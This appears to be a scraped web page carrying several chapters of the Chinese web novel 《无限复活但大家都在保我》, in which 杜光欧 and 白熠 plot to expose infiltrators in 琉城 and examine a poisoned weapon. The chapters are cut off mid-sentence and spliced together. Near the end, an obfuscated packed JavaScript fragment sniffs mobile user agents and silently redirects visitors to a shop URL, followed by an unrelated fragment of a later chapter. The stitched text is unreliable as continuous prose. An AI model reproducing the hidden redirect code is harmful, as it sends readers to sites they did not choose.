“知道什么?”杜光欧没什么好气地问。 “事情还要从一年前说起。” “别扯那么远。” 白熠对他的话置若罔闻,按自己的话头说下去,“一年前,你去远征了。而在你走后没多久,去年的迁徙名单公布于世,我在那个名单上。” 杜光欧皱眉,“你犯了什么事?” “你猜猜看。”白熠道。 一时,屋内陷入人为的沉默。杜光欧审慎地看着眼前这个人,这个从小和他一起长大,身体孱弱,头脑聪明,性格却极度恶劣的人。他不确定他们是否掌握相同的信息,白熠知道血皑城发生什么吗?他是否知道复权派的存在? 如果对方不知道,那就没必要和他说太多,将他牵连进这件事情中来。 他知道,自己在这个人面前,多说一个字,都有可能把事情败露。对方就是这么难对付。 说到底,这家伙被划分进迁徙之伍的原因会是什么?白家自从十多年前便放弃其贵族之位,退隐二线,根本不掺和城中政务,但其地位仍非平民可比。白熠不是会给自己找麻烦的那种人,其次,就算他惹事,也不会引火上身,再其次,就算他当真没给自己擦干净屁股,被人抓住了把柄,杜义念在以往的情面,也不会把白家唯一的儿子怎么样。 难道,他也是受人之托,装作被流放,来到琉城帮助杜义在此兴建势力? 但是,如果是这样的话……正如先前所说,白熠一家已经远离贵族之位许久,这些年都没有出面,这一次,为什么他们会决定来帮助杜家? 杜光欧直觉得自己这个猜测不大可能。 白熠嗤笑一声,打断了杜光欧的思绪,“好了,不用那么警惕,你现在在想什么我都知道。我在这里的目的,就是你想的那样。” “……我要你先说。”杜光欧留了个心眼,道。 不怪他如此谨慎,要知道,曾经有一次,白熠就是以这种话术骗他,让他自己亲口把回溯力的秘密说了出去。 杜光欧仍然记得那一天,那时他首次远征归来,途中出现意外,他掉入冰窟,本该死去,可回溯力却救了他一命。那是他第一次发现自己的能力,他不知道自己的身体怎么了,也不清楚这份神力是怎么回事。他惊魂未定,心有余悸,回到王城后,整个人都心不在焉。而在庆祝他凯旋的宴会上,白熠见了他,看到他这幅魂不守舍的模样,对他说,“我知道怎么了,我都懂。不用担心,一切都不会有事”。听他这么一说,当时杜光欧只感觉抓住了一根救命稻草,一股脑把发生的事全交代了。交代完,他看着白熠那副震惊又懵懂的表情,这才回过神来,白熠其实也什么不知道。 所以,直到今日,白熠是唯一知道他拥有回溯力的人。被他知道这件事,杜光欧说不好是幸运还是不幸。是白熠帮他研究这份神力,使他了解它发动的契机,以及回溯有可能涉及到的原理。但他也为此吃了不少苦,他依然记得圣祠里杜光遗对他说的那番话,他的兄长说:“有人告诉我,想要抓住你,就必须捆住手脚,封住嘴,否则不可能成功”。当时杜光欧就知道,除了白熠,没有人可能透露给杜光遗这个信息。 吃一堑长一智,今天这人开口之前,他一个屁也不会放。 白熠道:“你有戒心是好事,提防我就让人有些伤心了。” “你还懂得伤心?” 这没心没肺、落井下石、丧尽天良、唯利是图、无情无义、道德败坏之人,怎么好意思说出这种话。 白熠假笑,不再与他贫嘴,他侃侃而来:“好吧,我交待。我所知道的情况是……城中出事了,几年前就出事了。潜藏在暗中的敌人蠢蠢欲动,要灭绝以老城主为首的后来势力。他们一开始就在。老城主上任直至今日都在与其斗争,只不过以前是小打小闹,暗地里牵扯,现在终于浮到水面上来了。是怎么称呼他们来着……?哦 19. 初入琉城3 《无限复活但大家都在保我》全本免费阅读 在杜光遗接手城内事务、白熠因病隐退二线、杜光欧选择远征路途之前,他们曾经一起度过一段无忧无虑的童年。虽然那经历短暂,但记忆深刻。 “呼……”白熠两手捂着脸,胳膊拄在桌面上,“而你……借此宣称是你杀了他。” “是。” “不得不说,这倒是……一步妙棋。消息带回去,老城主绝对不会相信他两个儿子自相残杀这种蠢话,他知道发生了什么,但是他不会对任何人透露真相。直到血皑的复权派除尽,你回归故土以前,这份罪名要一直背负下去……” “看来是这样。” 白熠抓着长发,将他原本就混乱的卷发搅成一团,“呵,这真是……光遗不在了,但是计划还能顺利进行,不如说,他的死让才它更加令人信服。” “我尝试动用回溯力救他,但是失败了。”杜光欧道,“他中了毒,我没办法回到他中毒前的节点。” 白熠目光垂落下去,道:“你我早就知道这份能力的极限,想到过这样的场景。只是,没想到第一次遇到这种情况,会是在身边人的身上……” 白熠模样伤感,杜光欧看着,他强迫自己,不再让此心对此景有任何反应。当下,他有更重要的事情要做,伤感不会替他拿起刀剑,为他的兄长报仇。 “刺客混迹在大迁徙的队伍当中,使用的是血皑城内流通的刀具,可是那种毒……瞬间便沿着血路蔓延全身,放眼整个南陆,我从未见过。”杜光欧道。 “凶器你留着了?”白熠问。 杜光欧点头,“嗯。” “给我看看。” “现在在别人手里。” 之前让葛马去收拾残局,凶器还在他那。 “好吧,那之后再给我,琉城有这方面的专家,我让他们看看。”白熠道,“你带来的人怎么样,听你的吗?” 杜光欧眼中闪烁着晦暗不明的光,“说到他们……还有一件事,我需要你替我想个办法。” “什么事?”白熠问。 “我需要知道队伍当中还没有复权派的人。” 白熠一眯眼,“哦,的确有这个可能。” “帮我把他们全部除掉。” “好。”白熠咧着嘴角,眼神却毫无笑意,仿佛他透过面前的火焰,已经看到了杀害杜光遗的主使,“下一步计划,就等清除了脏污之后再进行吧。” 交流结束后,白熠听说董家姐妹也在队伍中,说什么也要拖着那副身体出门。 杜光欧劝不住他,无奈,带他慢悠悠往城门口走。 两人回到广场,穿越人群,看到董家姐妹依然在灵车附近,葛马则和白鹿在一起,坐在车旁的硬土块上。 与杜光欧离开时相比,三人一鹿好像换过位置。他拜托过董莉莉去喂鹿,大概是已经回来了。 “这真是好久不见了,莉莉,夜明。”白熠迎上去,亲切地与姐妹二人打招呼。 姐妹二人见到老熟人的面孔,眼睛都亮了起来。在这边远的破败之地,居然还能遇到故人,对她们而言实在是惊喜。 “熠大哥!”姐妹两人异口同声地道。 “熠大哥,你怎么也在这里?嫂嫂呢?小祁在这里吗?”董夜明问了一连串问题,一改刻薄的态度——尤其是针对杜光欧——展现出她这个年龄段该有的热情。 血皑城安定后出生的王室贵族的孩子里,白熠属于年纪最大的那一批。虽然白家在白熠患病后选择放弃其贵族身份,但依然与许多贵族交好,董家姐妹早在结识杜光欧之前就已经认识了白熠,几人关系一直很好。 这帮年纪稍小的孩子,虽然对白熠的称呼千奇百怪,什么都有,但是心里都尊敬他,把他当长兄看待。 白熠比了一个噤声的手势,暗示姐妹俩少说为妙,他含糊不清地回答了董夜明的问题:“你嫂子那么有主意的人,她才不屑于和我共事。” 董夜明似是反应过来自己话多了,抿起嘴巴,直勾勾盯着白熠,一个字也不再说。他们周围是迁徙队员的一双双耳朵,其中有良民,也可能有敌人。暴露得越多,被人算计的风险越大。 “别站在这了,我看还有空车,车里坐着歇歇多好。”白熠说道。 几人找了辆空车钻进去,这才放开声交谈。 “其实,我来就是看看你们,见你们还这么容光焕发,热情饱满,我就放心了。”白熠道。 其实,历经半月车马劳顿,两姐妹早已和光彩沾不上边。她们原先没有跋涉的打算,以为很快就能回家,所以还穿着平日里逛街聚会穿的长裙。裙子后来在路上剪了,束成长裤裹在腿上,像在底裤上打了一层补丁。 风尘让面容暗淡,赶路使心力交瘁,两姐妹面上身上都说不上光鲜亮丽。白熠眼里却好似看不到这些,说难听点,他就是在盲目赞美,但心意是好的,而且,两姐妹听了这话也乐得开心。 董莉莉笑道:“熠大哥还是那么会说话,这些天的阴霾都被你一扫而空了。” 白熠听完,打开车窗,朝外面望风的杜光欧道,“怎么,光欧,你让两位女士受委屈了?” 杜光欧脑袋里正思索揪出敌人一事,听到自己的名字,转过来盯着车内几人,却不记得他们在说什么。 “什么……委屈?”他茫然道。 白熠叹息,“你还是这幅不懂讨女人欢心的样子。” “……”无论这几个人在说什么,看来不是正事。杜光欧腹诽。转过头去又开始想自己的事情。 “别戏弄他了,熠大哥,光欧女人缘挺好的。”董莉莉说。 “莉莉要是这么说,那就一定是了。”白熠赞成道,他又转头去骚扰杜光欧,“但我从来没听他说过什么讨人喜欢的话。是不是,光欧?” 两次叫人打断思绪,杜光欧显得有些不耐烦,“说什么?” “你得学会赞美女性。”白熠道。 杜光欧看了眼董家姐妹,给予白熠否定,“她们已经很累,鼓励的话会导致盲目自信,最终透支身体,这又何必?” 白熠瘪嘴,对两姐妹道:“我差点忘了,他是个务实派。” 董莉莉笑得异常开心,以手掩面,乐得身体打颤。半天,她笑完了,才稳住了声音道:“在茫茫天地间逗留,和残忍的自然环境相处久了,熠大哥,你也会变成那样 20. 姐妹与毒1 《无限复活但大家都在保我》全本免费阅读 “没事,我替你想好了。”白熠笑道,身形一缩,躲在杜光欧的阴影后,“接下来,我告诉你要说什么,你按自己的口吻复述。不用深思内容,之后我会解释,但我觉得你应该不至于不理解。” “你好歹跟我商量一下。”杜光欧唇不露齿,咬着牙道。 “忘了。” “什么忘了,我看你就是故意——” 白熠在杜光欧背后戳了一下,打断他,“看!已经有人在盯着你了。” 杜光欧凝神,往台下看去,果然,已经有近处的人注意到了他,纷纷仰头,投来视线。 “你先跟他们说,一路走来大家都很辛苦,但是接下来会有好日子过,琉城比他们想象得好很多,在此发展不是问题。坚定他们的目标。” 越来越多的人注意到了台上的人,目光投来,好像又回到黄森那时。 那时,他站在木车上,宣称要取缔杜义,人们用渴求的目光看他,期待他为他们带来崭新的生命。 箭在弦上,不得不发。杜光欧叹息一声,又在心中掂量二三言语,提高腹中劲道,声音利落圆润,破势而出,“各位有志之士!我们已经走过了最艰难的一步,琉城就在我们脚下,亟待发掘。这里有牛,有水,有鸟,有矿,有满山资源,富足得不像这世上任何一片被寒潮侵蚀的大地。杜义愚蠢,不知将我们发配过来,是给予我等怎样的新生。” 不需要白熠给他下一步指示,杜光欧跨步上前,来了兴致,指着残破的墙垣,道:“可能你们想问,难道建业不是更难,如何才说已经度过极难?不,你们已经度过了。在这冰天雪地中,远离家乡,漂泊流浪,苦吗?苦。跨越黄森,跋涉半月之久,力竭抵达挚忘,累吗?累。严寒剥去外衣,冻疮席卷全身,体无完肤,痛吗?痛!但是这苦、这累、这痛,不是你们所求之物!无知之人遭难,只会折腰投降,但清醒之人,会恨,会反抗。最难的不是谁人送到你身边的磨难,最难的,是决定向其抗衡到底的意志。” 杜光欧将目光投去右侧,遍经众人,继续道:“有些人在黄森那时离开了,也有些人半途而废,还有人身在此处,心却有异。但你们,决定留下起势的你们,这份决心使你们不同于茫茫众人。世界像那广海,只是身在其中,便使人窒息。有人逃离远海,有人困死沙底,但是,我们和那些人不一样,我们决定了活在海里,就一定要活在海里。人长不出鱼腮,也永远没必要长出鱼腮。逃避的,摧折自身的,都是懦夫。我们有求,但他人不愿,且想尽办法使我们遭难。我们剩下唯一能做的,便是去改变,堙灭让我们受苦的环境,战胜阻碍我们的人,直到海洋燃尽,世界匍匐在地,让它如仆人般实现我们诉诸的每一个愿景为止!” “我立誓要回血皑!!”底下,一个中年人站起来,振臂高喊,“家乡弃我,妻人厌我,邻人笑我,以我为耻,不识天材!我要让他们认识到自己有眼无珠,对我刮目相看、五体投地,以解我心口多年之闷!!” “我、我也要回去!我要问杜义,当年凭什么关我入狱!” “我也是!凭什么!” “凭什么!!” “我和你们不一样,我要留在琉城,但我厌弃血皑,在那里夷为平地之前,我不会瞑目!” 面对底下的豪情壮志,杜光欧一一以注目回应。情绪高昂是好事,但其中好像有那么几个言语过激之人,他们对血皑恨之入骨。这份仇恨如何处理,将来也是个问题。但所幸,更多人只是想回去罢了。 “咳咳。”白熠咳嗽两声,道,“你比我以为的……算了,就当我夸你,刚才那番话不错,挺有煽动性。现在想办法让他们冷静,告诉他们,将来他们在琉城会有各自的分工,把我介绍给他们,说我会非常严格地审核每个人的身份。” “我能透露你的家世?”杜光欧暗中问道。 白熠犹豫一瞬,“说。” 得到许可,杜光欧大手一挥,“你们的心声我都听到了——” 他话一出,广场安静了下来,人们竖起耳朵,聚精会神地盯着台上的王室。 “我的同伴们,战友们,接下来有光明明媚的未来在等着我们。你们每个人都有无尽的才华和魄力,血皑在杜义的领导下成为一座心胸狭隘之城,它肚量不够,容不下你们。但这里不会,从今天开始,琉城就是你们大展拳脚的舞台……但有一件事,我必须向你们提出要求。” 杜光欧左右踱步,斜睨众人,“我虽曾在黄森说,不计你们的过往,一切从零开始。但是,我身边容不下任何异端。我身边这位,你们可能有人认识,白家长子,白熠,血皑城原贵族,其父曾任职于王城中,掌管全城人口薄。如今他同被血皑遗弃,与我一起共筑琉城大业。这之后,他会审核你们每一个人的身份,你们是谁,来自哪个区,血皑有没有这样一只族系,和杜义是亲是疏,他全都知道。我不允许有心向杜义的叛徒出现在我身边。” “……有添油加醋成分在,但问题不大。”白熠小声嘀咕。下面当真有人认出他来,朝他挥手,白熠招手以应,顺便向杜光欧宣告下一段内容,“再给颗糖,说会给他们分配住所和粮食,储物间有百家工具,武器库有百样兵器,他们可自行任取其一。不日将举行全城大典,邀请他们携带自己所最擅长之物游行示众。那之后,城门会派人把守,严格控制出入。” 杜光欧瞥了白熠一眼,不太能相信他的话。他们真的有足够多的工具和兵器分配给这些人吗?悬。不过,换个角度想,白熠已经来了一年了,或许真能有些储备也说不定。 “……但我给你们最后一次离开的机会。”杜光欧放缓了声音,宽容地道,“今天起,所有人都会得到住所和粮食,这挚忘峡比你我想象中都要富有。你们在血皑城中曾经从事的活计,或者你们真正想要追求之职,都能在这里得到延续。 21. 姐妹与毒2 《无限复活但大家都在保我》全本免费阅读 后来因为机缘巧合,夏潜加入了他的远征队,男孩的身世也被揭开。听夏潜出生街道里的老妇人说,夏潜所属的夏家曾经名声赫赫,在杜义上任前便是贵族阶级。杜义成为城主后,第八年,他突然开始肃清原贵族派系,旨在清除上一任城主黄昔寒的党羽,只是方法过于激进,造成许多原贵族家庭的不满。 而夏家便是在杜义肃清贵族的第二年,举家离开了血皑城。那年也是夏潜出生的第一年。 夏潜之母体弱,生下他后去世,夏家以为这个孩子也活不成,便没有带走他,而是交给一个中间人抚养。但那个中间人唯恐夏潜的身份会招致祸端,在夏家离开后,便将夏潜遗弃。 夏潜成为远征队队员后,杜光欧没有动权给予他身份,说到底也有这方面的考量。他没有身份,则过得逍遥自在,一旦有了身份,他便是叛逃贵族之子,若是被杜义发现,虽然杜光欧有自信保下他,夏潜却也免不了驱逐出境的宿命。夏潜本身并不稀罕血皑城的身份,也不期盼留在血皑,但当今南陆最繁荣的城市对其关闭城门,实在得不偿失。 杜光欧有时会想,夏潜之所以没有走,担着没有身份的风险留在队伍里,大多是念在自己的份上。这个男孩从小没有得到良好的教育,脾气差,说话有时难以入耳,和队伍磨合了很长一段时间,到最后还有人不接受他。要不是夏潜觉得还没有偿还队长当年的恩情,恐怕早就成为一个自由身,想去这天地间的何处,抬腿便去。 “夏潜最后说了什么?”董莉莉问。 “他托我安抚他在琉城的义姐。”杜光欧道。 董莉莉:“如果找到了她,也带我一起去吧。” “好。” “剩下的那些人——洛笛、小软糖、霍哥、郝姐、小玳妹妹,他们……”董莉莉斟酌半晌,接上上半句话,“他们现在在哪?” “一处雪峰峰顶,具体在哪……我不知道。” “你们走散了吗?”董莉莉问。 “是。我们从一开始就迷路了,雪崩过后,我和夏潜靠毛豆一路坨着我们才勉强走出了暴风雪。那之后,又流浪了好几天,才找到之前留下的路标。我只能判断那座雪山在横古山脉东侧,临近惊海湖。” “惊海湖……毗邻远海的惊海湖,你们居然走到了那么偏远的地方。”董莉莉念道,神情痛惜不已。她拥有过人的天赋,仿佛脑袋里时刻装着一份带有山峦起伏的地图,只消杜光欧给出一个地名,董莉莉便知道他们经历过怎样的艰险。她闭上眼睛,哀染眉稍,“等这一切都结束了,我们去找他们吧,队长。” “好。” “姐,你还想折腾到什么时候。”突然,一旁的董夜明说话了。她刚才半天没吭声,双手抱胸,旁观亲姐与杜光欧的对话。此时张口,却是反对,“从血皑城门口那时就是,说看到了杜光欧就回去,结果一路跟到了黄森还不走。我当时劝你离开,可你却说要和他来琉城。现在琉城到了,你又说你要去找你的远征队员。等你找到了远征队员后,是不是还要和这家伙私奔啊?” “夜明!”董莉莉模样有些生气,“你别乱说话。” “姐,你知不知道道我们出来多久了?这么久和家里没有联系,爸妈都不知道我们是什么情况,妈现在肯定在哭,她肯定在哭啊姐!已经这么多天了,她不知道她两个女儿为什么还没回家。她现在一定在城门口住下了,爸喊她她都不会回家。” 董莉莉咬了咬牙,低着头,没看董夜明,“我会给他们去信。” “去信有什么用啊,他们要看到的是活生生的你!”董夜明气不打一处来,越说越大声,“而且信里你要写什么?告诉他们你在琉城很好,你在杜光欧身边好得很,将来也不回家,还要跟他去找不知道在哪的远征队队员。你这么说爸要气死的!你知道他早就不想让你再跟他鬼混了。” “不,这件事,爸没资格管我。”董莉莉的眉目坚定,像认定自身的正确一般,“如果不是他阻拦我,不让我出城,我的队员就不会葬身雪山,现在我就不会想要去找他们。” 董夜明丝毫没被姐姐的气势压倒,用更尖锐的声音道:“你的意思是这都是爸的错?现在你要算他的账了?如果他不拦着你,你敢保证你出远征能回来吗!?” “我能。”董莉莉神色坚定。 “你回不来!”董夜明道。 “我就是能。”董莉莉毫不动容。 “别傻了,姐,你回不来的!整只队伍就杜光欧一个人回来了,你想想这不奇怪吗?想想为什么只有他活下来了?”董夜明毫不客气地指着杜光欧,而后者没有反应。 “夜明,这些话现在说不合适。”大抵是顾及杜光欧的心情,董莉莉劝阻道。 董夜明却丝毫没听进去,继续她对杜光欧的指控,“原因就是他的身份,他是王室,所有人都会保他,所以他才能安然无恙地回来。姐你要是跟着去了,早晚也要被他拖累死!” “别乱造谣!”董莉莉起身,推了董夜明一把,明亮的眼睛睁大了一倍,她当真生气了。 董夜明身形一晃,定在原处,言语依旧尖锐:“我造谣?事实显而易见,是你非要闭上眼睛假装看不见!” “你凭什么这么说?你亲眼看见整件事了吗!” “我不需要亲眼看,这种事想一想就懂了!当食物紧缺的时候最应该留给谁,当冷风肆虐时衣服又该披在谁的身上,答案不都是他吗?” “你没有证据,别说了!”董莉莉厉声说,又转过头来对杜光欧道,“你别听家妹胡言乱语。” 董夜明盛气凌人,契而不舍,“我有证据,怎么没有?最大的证据,就是这家伙从刚才开始一个字都不敢反驳我!” “别听她说。”董莉莉放弃和自家二妹争辩,转身背对她,坚定地握住了杜光欧的手。 杜光欧没有说话,也没看姐妹二人。即使是被董夜明指着鼻尖,点到了名字,他也依然寡言。 有一件事,董夜明并没有说错。这件事,他没对董莉莉坦白,也不知道该怎么和她说。 的确,远征队遇险时,所有队员都在保他,但并非以董夜明所认为的方式。他没 22. 姐妹与毒3 《无限复活但大家都在保我》全本免费阅读 天色不早,他们没有在墓地逗留太久。 三人回到广场上,却不见董夜明的踪影,只剩杜光遗的那头白鹿惬意地伏在地上。它孤身一物,但毫不受孤独的惊扰,耐心地等他们回来。 没人知道董夜明去了哪里,只是大概能猜到,她是因为当才的争吵才离开的。董莉莉虽然嘴上和自家妹妹过不去,心里还是记挂着她,说要去找她。 杜光欧:“葛马,你陪她去找找,让白鹿载着你们。” “好咧贵人。”葛马应道。 这时,杜光欧朝葛马伸手,勾勾指尖。 葛马不明白他的意思,抻着脖子,一脸迷茫。 “圣祠里我让你怀走的东西,交给我。”杜光欧提醒他。 “哦!”葛马这才回想起来,从鹿皮包里翻出一个用布包裹的长条状物什,交到杜光欧手上,“都在里面了。” 杜光欧颠了颠重量,“行,去吧。” 葛马欣然接受了陪同董莉莉的任务。杜光欧望着两人一鹿离去的背影,略有感慨,葛马这人,用起来还算顺手。 杜光欧与他们兵分两路,去琉城深处寻找白熠,打算问问他到底想怎么把可能潜藏的敌人揪出来。 月刚升起时,他来到人群攒动的一片老房子之间,这里是白熠答应为新一批流民划分的住宅区。人们来回走动,显现出一副繁忙不已的景象,有人在分发衣物鞋帽,还有些精力充沛的人拜访各家,帮助有困难的居民。 他在一个有火炉的房间找到白熠,那人却忙得焦头烂额,没空理他。于是杜光欧只好找个角落等待。白熠拖着那副带病的身体,辗转于人群之间,审核流民的身份,为他们答疑解惑,分配承诺的武器和工具。如果在曾经,这家伙早就累趴下了,不知道是不是因为病情好了一些,他忙了一下午精神头还很足。 一眨眼,夜幕便深了。白日总是很短暂,人们不需要整个黑夜那么漫长的睡眠,他们举着火把,点燃油灯,继续操持白天未完成之事。 肉香适时飘来,把人们引导到一所大型的公共食堂,有专门的厨师负责烧水炖肉,为所有人提供吃食。 人群这才有了片刻喘息,杜光欧趁机拦下白熠,要与他私下里聊聊。那人却嚷嚷着饿,一头扎进食堂里,头也不回一下。 杜光欧跟着走进食堂,然而,他刚进去就后悔了。 食堂是临时搭建的,没有桌椅,人们都坐在地上,捧着木碗喝汤吃肉。一进门的位置最是显眼,杜光欧左脚刚迈进来,离得近的人就齐刷刷抬头看他,底下的人你捅捅我,我捅捅他,一个个闷头吃饭的脑袋都抬起来了。 在这伙流民眼中,二王子肯定早就用过了晚餐,而且肯定是在自己房间里享用的,即使是在琉城,他也应有一套配套的厨房和餐厅,不像他们一样要挤在一起吃饭。那么,他出现在这里,不是为了吃东西,肯定是为了宣布什么事情。 于是乎,这帮人紧着盯他,想听他要说什么。 但杜光欧哪有什么话要说,他现在脑袋空空,硬要挤出来点什么,只有肚子饿瘪的声响。 他有点不自在,拽了猛往里走的白熠一把,对他说:“你赶紧吃完出来。” 说罢,他便回首离开了食堂,留下了困惑不解的众人。 他立在建筑侧面的阴影里,状态可以用饥寒交迫来形容。虽然远征路上没少受这种罪,但他没想到,竟然有一天,他会因为拉不下脸走进食堂要一碗肉和流民坐在一起吃而挨饿。 要是他一开始没把调子起那么高,把自己架在这个位置上,情况会不会好一点?要是他学着兄长的模样,做一个亲和的领导者,给人一种与万民平等的印象,会不会更合适一些? ……还是算了吧,他不擅长。再怎么伪装,人也不能一直戴着面具。他得承认,自己生来就没那么喜欢亲近人,它已经是性格的一部分,就像水渗入大地、结冰、形成冻土,很难改变。 又过了一阵,白熠挺着个肚子出来了。他手里端着一只木碗,碗里飘着热气。他把碗伸到杜光欧面前,杜光欧看到那碗里装着一整块炖肉。 “快拿着,太重。”白熠伸了伸胳膊,直往杜光欧怀里送。 杜光欧接过来,瞟了白熠一眼。 天塌下来了,这家伙居然给他带吃的,难道是在捉弄他? “快吃吧,肉还能是假的不成?”白熠似乎看出他的顾虑,模样不甚耐烦。 不能怪杜光欧有防范之心,他小时候被这家伙闹过太多次了。 但他实在太饿了,就算出了什么事,他还有回溯力兜着。 想到这里,他喝了口汤,没什么奇怪的味道,就是单纯的肉汤。啃了口肉,鲜香四溢,想必是炖了好久,彻底入了味。 喝完了汤,吃光了肉,身体还是一切正常,没有呕吐感,没有昏厥感……白熠真的什么都没往里面加? 杜光欧盯着还剩一点肉沫的碗底,表情困惑不已。 “行了,别琢磨了。现在搞你也太不识大体了,我是那种人吗?”白熠呲着牙,拍拍他的背,道。 杜光欧神情复杂地看了白熠一眼。心下却骂他,这个变态,现在装一副顾全大局的样子。 但好歹喝了人家的汤,吃了人家的肉,对待败类也要有起码的礼仪,“谢了。” 他和白熠二人离开食堂,回到了白熠的住处。这里既是他的住处,也是他平时处理事务的地方。白熠说这房子名叫十一舍,倒也没有什么特别的含义,只是他们会给这片住宅区的每一橦房子编号,白熠住的房子刚好编号十一。 这房子四面都是石壁,没一扇窗户,隔音措施良好,大门一闭,里面说什么外面也听不见。 在客厅的火炉前,杜光欧拿出葛马交给他的物什,转交到白熠手中。 “这里面包着的就是之前和你说的凶器,叫别人打开的时候当心点,别碰到上面的毒。”杜光欧嘱咐道。 白熠翻来覆去掂量它,拆了缠线,当下就要剥开。 “别!”杜光欧完全没想到他会这么做,把毒具抢了回来。 要是让毒碰到皮肤就完蛋了,这家伙身体弱不禁风,恐怕碰一下就没命。 白熠有些莫名其妙地看了杜光欧 23. 城门围捕1 《无限复活但大家都在保我》全本免费阅读 白熠自导自演,将他们现在的处境分析了个透彻。 首先,队伍中的敌人是谁?是血皑城王室贵族的敌人,现在普遍认为他们是黄王的后人,统称复权派。 复权派的目的是什么?——取缔杜家,清理杜义一方的贵族势力。 复权派混迹在大迁徙队伍的目的是?——跟踪杜光遗,而且这应该是项长期任务。 为什么刺客会对兄弟二人出手?——的确接到了跟踪的任务,但也没接到不能杀的指令。暴露了行踪,只能动手。 为什么说流放队伍里一定还有复权派的残党?——因为只出现了一个刺客,而单独行动不是复权派的风格。 杜光欧叛变后,复权派的态度是?——暂且观察。 为什么杜光欧叛变后,复权派的刺客们就不出现了?——因为不想打草惊蛇,杜光欧与血皑对立,他们没有与杜光欧相犯的必要。 那这样的话,为什么可以断定,复权派一定混迹在大迁徙队伍中,一路跟到了琉城?——杜光欧虽然叛变,但不否定他有回来称王的可能性,其动向仍需时刻监视。 “所以,得知了这一切,剩下的就好说了。那伙人并不想暴露自己、与你对立。所以,我便想出身份审查及封锁城门这两计,如果我猜得没错,他们会在大典举行之前离开琉城,而我们只需要守住城门,将他们一举捉拿,问题就解决了。” 方法是好方法,与其把这些人逐一挑出来,不如找一个契机,让他们自己出现。 白熠的脑袋果然好用,杜光欧有时庆幸对方和自己在同一阵线,起码大事上是这样。 看在对方的确想出一个好法子的份上,针对对方刚才支支吾吾、像是对毒药一事有所隐瞒的样子,杜光欧就暂且不追究了。 白熠说完,敛眸作沉思状,“而且,举办这场大典,我还有别的考量。激励流民、恐吓敌人是一回事,另一方面,我想通过这件事,逼这座城里的一个人现身。” 杜光欧问:“什么人?” “那座白塔里的人。” “白塔?”杜光欧没想到会听到这个回答,他刚来琉城就注意到那座白塔,走到哪都能看到它的身影,它像有种魔力,让每个来到这座城市的人念念不忘。 “琉城很大,我们来了一年,惭愧地说,只敢在琉城外围建立据点。再往里走,便是内城,也就是那座白塔中的人所管辖的区域了。”白熠道。 “这琉城已经有主了?你怎么不早说?”杜光欧问。这是关乎他们将来在琉城建立势力的大事,白熠居然现在才说。 “琉城一直都有黄王那个时代留下来的原住民,只是一直没有形成一个城市的规格。而且,那个人没有管理这整座城池的想法。” “你好像很了解……那到底是什么人?” “是个女人,人称阿鬼。” “阿鬼……”杜光欧念道,他对这个名字并不耳熟。 “在我来之前,就是她在维系这座荒败之城的稳定,我见过她几回,当时无论什么合作都商讨得很愉快。但自从得知我来到这里的目的后,她就躲着我,不再与我往来了。我们修建城墙,她没出面,操练士兵,她没反应,登门拜访,她拒而不见。我不想与她起冲突,也不想与她开战,但我也不能接受留下一个来自后背的隐患。所以,我想通过这次全城大典把她逼出来。” “她会出来?”杜光欧问。 “我想,会。我来之后,外城并不拥有一个真正意义上的领导者。但这次大典,是你的宣告权力的日子。阿鬼不会无动于衷,眼睁睁让你占据外城,使她自己陷入困兽之围。” “……琉城居然还有这种情况,看来这次全城大典尤为重要。” “不用担心,事情我都打点好了,你只需要出个人就行。”白熠拍拍杜光欧的肩,笑着说道。 ## 接下来几日,整座外城都在为了大典而做准备。 白昼很短,人们从太阳微熙便出来干活,女工们织布、染布,将晾干的布熨平、裁剪,缝纫在旗杆上,做成旗帜。城里的牛不够,男人们便出城去抓麝牛,这些庞大的生灵习惯成群行动,团体里往往由十几只成员构成。运气好的时候,出城的人能捕获四五只回来,运气不好的时候,可能只能抓住病牛或幼崽。 新一批的流民拥有了自己的房屋、武器,和工具,他们把新得到的玩意锁在家里,出门从事公共事务,晚上回家后,点上油灯,细心打磨他们喜爱的器具。壮年人普遍选择了武器,那些弓箭刀枪规格不一,部分由琉城内的工匠制造,也有一部分是从近边的小镇上收购而来。还有些不喜冲突之人,他们拿走了炒勺、针线、框锯、渔网、屠刀等等,在家里精心打造自己的成品,等待在大典上向众人展示。 整个城市陷入一种忙碌且充实气氛中,每个人都有事可忙,且为之而投入。 杜光欧拥有了一件全新的半肩披风,它用狐狸的皮制成,以染料浸成纯黑色,看到它就让人想起杜光遗那身素白的裘衣,一黑一白,势不两立。 而白熠这些天更是连影子都看不着,人都快忙飞起来了。 要是找他,只会在不同的人嘴里听到相似的回答:最近见过白先生,但不知道他现去哪了,要是想找他,还是去他住处“十一舍”蹲点吧,蹲个一两天,总能碰上。 董莉莉和葛马也消失了几天,后来他们牵着杜光遗的白鹿,把董夜明带了回来,那时,杜光欧才得知,葛马和董莉莉是在城墙上找到了董家二妹,原来女孩并没有离开,仍在在暗中观察这座城池,警惕可能接近家姐的危机。她赖在城上,饿瘦了一圈,又不肯下去吃东西,说除非董莉莉跟她走,不然她就饿死在这城墙上。董莉莉说,好,她陪她一起,两姐妹就在这城墙上待了好几天。这两天可给葛马累坏了,他在城墙上下翻飞,带吃的,送衣服,送水,整个人都瘦了好几斤。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12915481|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烛在提供光明。下人为他们之间摆上了干净的水和东陆运来的新鲜浆果,这些都是西陆不常见的食物,以此表明甾染内承对这次会面的重视。 先行开口的,是为主的燕无,“昨日发生的种种,让你见笑了。” 他指的是自己和父王燕雁发生的争执,那时,杜光欧也在场,把整件事情从头到尾看了个全程。 杜光欧摇摇头,道:“谁都有些难处理的家事,平民如此,王室亦然。” 燕无道:“今日请你来,是想和你聊聊血皑的事,就我们两人,没有任何干扰。” 杜光欧看了一旁的古古一眼,“你很信任她。” “你可以把我们当成是一个人。”燕无道。 “我没有别的意思。内承身边能有信任之人常伴,我只是感到有些羡慕罢了。”杜光欧道。 